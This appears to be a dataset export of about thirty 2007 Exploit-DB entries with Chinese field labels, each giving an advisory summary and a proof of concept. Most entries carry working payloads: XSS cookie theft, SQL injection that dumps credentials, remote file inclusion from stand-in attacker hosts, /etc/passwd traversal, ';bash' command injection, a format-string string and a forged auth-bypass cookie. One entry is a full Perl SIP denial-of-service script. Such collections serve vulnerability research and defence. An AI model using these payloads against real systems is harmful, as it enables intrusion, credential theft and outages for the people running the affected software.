QLWD/code_shield huggingface dataset:
标题: Yahoo! Messenger 8.1 - File Transfer Denial of Service EDB-ID: 30544 CVE: 2007-4635 类型: DOS 平台: WINDOWS 发布日期: 2007-08-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/25484/info

Yahoo! Messenger is prone to a denial-of-service vulnerability because it fails to handle certain file-transfer packets.

Attackers can exploit this issue to crash the application, causing denial-of-service conditions.

NOTE: This issue is reportedly caused by a buffer-overflow issue, but this has not been confirmed.

Yahoo! Messenger 8.1.0.209 and 8.1.0.402 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30544.rar URL: https://www.exploit-db.com/exploits/30544
标题: Unreal Commander 0.92 - ZIP / RAR Archive Handling Traversal Arbitrary File Overwrite EDB-ID: 30521 CVE: 2007-4545 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25419/info

Unreal Commander is prone to multiple remote vulnerabilities when handling malformed ZIP and RAR archives. These vulnerabilities include a directory-traversal vulnerability, an information-disclosure vulnerability, and a filename-spoofing vulnerability.

An attacker can exploit these issues to compromise the affected computer, overwrite arbitrary files, and obtain sensitive information. Exploits of these issues may lead to other attacks.

Unreal Commander 0.92 (build 565) and 0.92 (build 573) are vulnerable; prior versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30521-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30521-2.zip URL: https://www.exploit-db.com/exploits/30521
标题: Skulltag Huffman 0.97d-beta4.1 - Packet Decompression Remote Heap Buffer Overflow EDB-ID: 30523 CVE: 2007-4537 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25423/info

Skulltag is prone to a remote heap-based buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied input.

Attackers can exploit this issue to execute arbitrary code with the privileges of the user running the application. Successful exploits may compromise affected computers. Failed attacks will likely cause denial-of-service conditions.

Skulltag 0.97d-beta4.1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30523.zip URL: https://www.exploit-db.com/exploits/30523
标题: Media Player Classic 6.4.9 - FLI File Remote Buffer Overflow EDB-ID: 30529 CVE: 2006-7222 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25437/info

Media Player Classic is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data.

Attackers may attempt to exploit this issue by coercing users to access malicious FLI files.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the user running the affected application. This facilitates the remote compromise of affected computers.

Media Player Classic 6.4.9.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30529.fli URL: https://www.exploit-db.com/exploits/30529
标题: Arcadem 2.01 - 'index.php' Remote File Inclusion EDB-ID: 30525 CVE: 2007-4551 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25432/info

Arcadem is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Arcadem 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?loadpage=[evilscript] URL: https://www.exploit-db.com/exploits/30525
标题: Vavoom 1.24 - 'p_thinker.cpp VThinker::BroadcastPrintf' Multiple Remote Overflows EDB-ID: 30528 CVE: 2007-4534 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25436/info
  
Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.
  
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
  
Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the buffer-overflow vulnerability, the attacker opens the 'vavoom\basev\doom2\config.cfg' file, and adds the following lines:'alias bof "say aaa...(992_'a's)...aaa" name ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'' ' URL: https://www.exploit-db.com/exploits/30528
标题: Vavoom 1.24 - str.cpp VStr::Resize Function Crafted UDP Packet Remote Denial of Service EDB-ID: 30527 CVE: 2007-4535 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25436/info
 
Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.
 
Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the denial-of-service vulnerability, the attacker sends a packet to UDP port 26000 containing the following hexadecimal bytes: 80 02 ff 00 URL: https://www.exploit-db.com/exploits/30527
标题: WordPress Core 1.0.7 - 'Pool index.php' Cross-Site Scripting EDB-ID: 30520 CVE: 2007-4482 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/25413/info

WordPress Pool is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30520
标题: m-phorum 0.3 - 'index.php' Cross-Site Scripting EDB-ID: 30516 CVE: 2006-1151 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/25394/info

m-phorum is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

m-phorum 0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/?go=[XSS] URL: https://www.exploit-db.com/exploits/30516
标题: Ripe Website Manager 0.8.x - '/pages/delete_page.php?id' SQL Injection EDB-ID: 30518 CVE: 2007-4522 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25406/info

Ripe Website Manager is prone to multiple input-validation vulnerabilities, including HTML- and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect versions prior to Ripe Website Manager 0.8.10. 

http://example.com/admin/pages/delete_page.php?id=0 or 1=1 URL: https://www.exploit-db.com/exploits/30518
标题: Grandstream GXV-3000 Phone - Remote Denial of Service EDB-ID: 30517 CVE: 2007-4498 类型: DOS 平台: HARDWARE 发布日期: 2007-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25399/info

Grandstream GXV-3000 phones are prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the device to accept a phone while being unable to hang up. This effectively denies service to legitimate users because further calls will not be accepted by the device. 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username> <src> <port> <username>" unless ($ARGV[5]);



$socket=new IO::Socket::INET->new(

        Proto=>'udp',

                               LocalPort => $ARGV[4],

                               PeerPort=>$ARGV[1],

        PeerAddr=>$ARGV[0]);



$sdp= "v=0\r

o=username 0 0 IN IP4 $ARGV[3]\r

s=The Funky Flow\r

c=IN IP4 $ARGV[3]\r

t=0 0\r

m=audio 33404 RTP/AVP 3 97 0 8\r

a=rtpmap:0 PCMU/8000\r

a=rtpmap:3 GSM/8000\r

a=rtpmap:8 PCMA/8000\r

a=rtpmap:97 iLBC/8000\r

a=fmtp:97 mode=30\r\n";

$sdplen= length $sdp;

$msg= "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r

Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r

From: <sip:$ARGV[5]\@$ARGV[3]>\r

To:  <sip:$ARGV[2]\@$ARGV[0]>\r

Contact: <sip:$ARGV[5]\@$ARGV[3]>\r

Call-ID: ougui\@$ARGV[3]\r

CSeq: 10419 INVITE\r

Max-Forwards: 70\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";

$socket->send($msg);

sleep(3);

$msg=

"SIP/2.0 183 Session Progress\r

Via: SIP/2.0/UDP $ARGV[3];branch=001;rport=$ARGV[4]\r

From: <sip:$ARGV[5]\@$ARGV[3]>\r

To: <sip:$ARGV[2]\@$ARGV[0]>\r

Call-ID: ougui\@$ARGV[3]\r

CSeq: 10419 INVITE\r

Max-Forwards: 70\r

Contact: <sip:$ARGV[5]\@$ARGV[3]>\r

Content-Type: application/sdp\r

Content-Length: $sdplen\r

\r

$sdp";



$socket->send($msg); URL: https://www.exploit-db.com/exploits/30517
标题: ALeadSoft Search Engine Builder - Search.HTML Cross-Site Scripting EDB-ID: 30514 CVE: 2007-4479 类型: WEBAPPS 平台: JAVA 发布日期: 2007-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/25391/info

ALeadSoft Search Engine Builder is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/search.html?searWords=[XSS] URL: https://www.exploit-db.com/exploits/30514
标题: Asura Engine Challenge B Query - Remote Stack Buffer Overflow EDB-ID: 30519 CVE: 2007-4508 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25411/info

Asura Engine is prone to a remote stack-based buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30519.zip URL: https://www.exploit-db.com/exploits/30519
标题: coWiki - 'index.php' Cross-Site Scripting EDB-ID: 30515 CVE: 2005-4053 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/25393/info

coWiki is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/?cmd=srchdoc&q=[XSS] URL: https://www.exploit-db.com/exploits/30515
标题: Soldat 1.4.2 - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 30524 CVE: 2007-4531 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/25426/info

Soldat is prone to multiple remote denial-of-service vulnerabilities because of how the game software handles unexpected input.

Successfully exploiting these issues allows remote attackers to crash game servers and clients or to block arbitrary IP addresses from connecting to game servers.

Soldat 1.4.2 and Soldat dedicated server 2.6.2 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30524.zip URL: https://www.exploit-db.com/exploits/30524
标题: Vavoom 1.24 - sv_main.cpp Say Command Remote Format String EDB-ID: 30526 CVE: 2007-4533 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/25436/info

Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue.

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

Vavoom 1.24 is vulnerable; prior versions may also be affected. 

For the format-string vulnerability, an attacker sends a chat message containing '%n%n%n%n%s' string. URL: https://www.exploit-db.com/exploits/30526
标题: Toribash 2.x - Multiple Vulnerabilities EDB-ID: 30508 CVE: 2007-4446 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/25359/info

Toribash is prone to multiple remote code-execution and denial-of-service vulnerabilities that affect game servers and clients. Seven vulnerabilties were reported.

Attackers may exploit these issues to execute arbitrary code in the content of the game server and game client or to deny service to both servers and clients. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30508.zip URL: https://www.exploit-db.com/exploits/30508
标题: Epic Games Unreal Engine Logging Function - Remote Denial of Service EDB-ID: 30513 CVE: 2007-4442 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25374/info

The Unreal Engine is prone to a remote denial-of-service vulnerability because the application fails to properly bounds-check user-supplied input.

Successfully exploiting this issue allows remote attackers to corrupt application memory in a manner that causes a crash. Remote code execution may be possible, but this has not been confirmed.

Versions of Unreal Engine that are included in Unreal Tournament 2003 and 2004 are vulnerable. Given the reuse of the engine in multiple other products, other games and versions are also likely vulnerable.

This vulnerability also affects America's Army 2.8.2 when Punkbuster is enabled on the local server; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30513-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30513-2.zip URL: https://www.exploit-db.com/exploits/30513
标题: Firesoft - 'Class_TPL.php' Remote File Inclusion EDB-ID: 30510 CVE: 2007-4458 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25366/info

Firesoft is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/path/includes/class/class_tpl.php?cache_file=http://SHELLURL? URL: https://www.exploit-db.com/exploits/30510
标题: gMotor2 Game Engine - Multiple Vulnerabilities EDB-ID: 30507 CVE: 2007-4444 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/25358/info

The gMotor2 game engine is prone to multiple code-execution and denial-of-service vulnerabilities. Four vulnerabilities were reported.

These vulnerabilities may be triggered by malicious client requests to games that use the affected engine, including rFactor. Successful exploits could crash a game server or let remote attackers execute arbitrary code on the computer hosting affected software.

NOTE: This BID originally stated that the vulnerabilities were in the rFactor game. New information shows that the gMotor2 game engine and multiple games that use the engine are vulnerable. This BID was updated to reflect this new information. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30507.zip URL: https://www.exploit-db.com/exploits/30507
标题: BlueCat Networks Adonis 5.0.2.8 - CLI Privilege Escalation EDB-ID: 30503 CVE: 2007-4390 类型: LOCAL 平台: LINUX 发布日期: 2007-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/25342/info

BlueCat Networks Adonis devices are prone to a remote privilege-escalation vulnerability because the software fails to properly sanitize user-supplied input.

An attacker with administrative privileges can exploit this issue to execute arbitrary shell commands with superuser privileges. A successful attack will result in the complete compromise of an affected appliance.

Adonis 5.0.2.8 is vulnerable; other versions may also be affected. 

set host-name ;bash URL: https://www.exploit-db.com/exploits/30503
标题: Systeme de vote pour site Web 1.0 - Multiple Remote File Inclusions EDB-ID: 30501 CVE: 2007-4384 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25335/info

'Systeme de vote pour site Web' is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

'Systeme de vote pour site Web' 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/depouilg.php3?NomVote=http://www.example2.com/evilscript?
http://www.example.com/depouilg.php3?FilePalHex=http://www.example2.com/evilscript? URL: https://www.exploit-db.com/exploits/30501
标题: Dalai Forum 1.1 - 'forumreply.php' Local File Inclusion EDB-ID: 30509 CVE: 2007-4457 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25361/info

Dalai Forum is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/forum/forumreply.php?chemin=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30509
标题: Yahoo! Messenger 8.1 - 'KDU_V32M.DLL' Remote Denial of Service EDB-ID: 30500 CVE: 2007-4391 类型: DOS 平台: WINDOWS 发布日期: 2007-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/25330/info

Yahoo! Messenger is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Yahoo! Messenger 8.1.0; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30500.rar URL: https://www.exploit-db.com/exploits/30500
标题: Total Commander FileInfo 2.09 Plugin - Multiple PE File Denial of Service Vulnerabilities EDB-ID: 30512 CVE: 2007-4463 类型: DOS 平台: WINDOWS 发布日期: 2007-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25373/info

The FileInfo plugin for Total Commander is prone to multiple PE file denial-of-service vulnerabilities because the plugin fails to properly handle malformed input.

Successfully exploiting these issues allows remote attackers to crash the affected application.

FileInfo 2.09 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30512.exe URL: https://www.exploit-db.com/exploits/30512
标题: Cisco IOS 12.3 - Show IP BGP Regexp Remote Denial of Service EDB-ID: 30506 CVE: 2007-4430 类型: DOS 平台: HARDWARE 发布日期: 2007-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25352/info

Cisco IOS is prone to a remote denial-of-service vulnerability because the software fails to properly handle certain CLI commands.

To issue commands that trigger this vulnerability, attackers must be able to successfully authenticate to vulnerable devices. This may be achieved through remote anonymous means or by sending specially crafted input to web interfaces such as 'Looking Glass' web applications.

Successfully exploiting this issue allows attackers to trigger device reboots, denying service to legitimate users.

This issue is documented as Cisco bug ID CSCsb08386.

Cisco IOS releases in the 12.0, 12.1, 12.2, 12.3, and 12.4 ranges are vulnerable to this issue. 

show ip bgp regexp (.*)(_\1)+
show ip bgp regexp ([0-9]*)(_\1)+ URL: https://www.exploit-db.com/exploits/30506
标题: Sun Java Runtime Environment 1.4.2 - Font Parsing Privilege Escalation EDB-ID: 30502 CVE: 2007-4381 类型: REMOTE 平台: JAVA 发布日期: 2007-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/25340/info

The Sun Java Runtime Environment is prone to a remote privilege-escalation vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the user who invoked the Java applet. Successfully exploiting this issue may result in the remote compromise of affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30502.tti URL: https://www.exploit-db.com/exploits/30502
标题: Olate Download 3.4.1 - 'admin.php' Remote Authentication Bypass EDB-ID: 30504 CVE: 2007-4419 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/25343/info

Olate Download is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain administrative access to the affected application. Successfully exploiting this issue will result in the remote compromise of the affected application.

Versions prior to Olate Download 3.4.2 are vulnerable. 

OD3_AutoLogin=17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;} URL: https://www.exploit-db.com/exploits/30504
标题: Gurur Haber 2.0 - 'Uyeler2.php' SQL Injection EDB-ID: 30511 CVE: 2007-4491 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25368/info

Gurur Haber is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/uyeler2.php?id=-1%20union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler URL: https://www.exploit-db.com/exploits/30511
标题: Text File Search Classic - 'TextFileSearch.asp' Cross-Site Scripting EDB-ID: 30505 CVE: 2007-4434 类型: WEBAPPS 平台: ASP 发布日期: 2007-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25350/info

Text File Search Classic is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/samples/textfilesearch.asp?query=[xss] URL: https://www.exploit-db.com/exploits/30505
标题: Apache Tomcat 6.0.13 - Insecure Cookie Handling Quote Delimiter Session ID Disclosure EDB-ID: 30496 CVE: 2007-3382 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25316/info

Apache Tomcat is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.

Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.

Versions prior to Apache Tomcat 6.0.14 are vulnerable. 

http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B

http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B URL: https://www.exploit-db.com/exploits/30496